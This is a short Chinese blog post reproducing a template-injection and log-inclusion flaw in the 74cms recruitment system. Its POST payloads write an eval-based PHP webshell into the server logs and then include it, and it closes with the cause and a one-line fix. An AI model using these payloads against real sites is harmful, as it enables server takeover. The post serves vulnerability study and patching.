74cms

下载好源码

php网站源码下载_php招聘网站源码_php网站模版_骑士cms人才系统

然后安装,安装好之后

发送poc:

http://127.0.0.1/74cms//index.php?m=home&a=assign_resume_tpl

POST: variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

看到它爆错了

根据报错查看日志:

路径为WWW\74cms\upload\data\Runtime\Logs\Home

文件包含

发送poc: http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl

POST: variable=1&tpl=data/Runtime/Logs/Home/21_10_10.log(日志文件名为日期)

成功写下shell

漏洞原理

在文件/Application/Common/Controller/BaseController.class.php中,assign_resume_tpl方法中判断不严格,导致了模板注入漏洞。

修复方案

74cms\ThinkPHP\Library\Think\View.class.php

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);

代码注释替换为

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值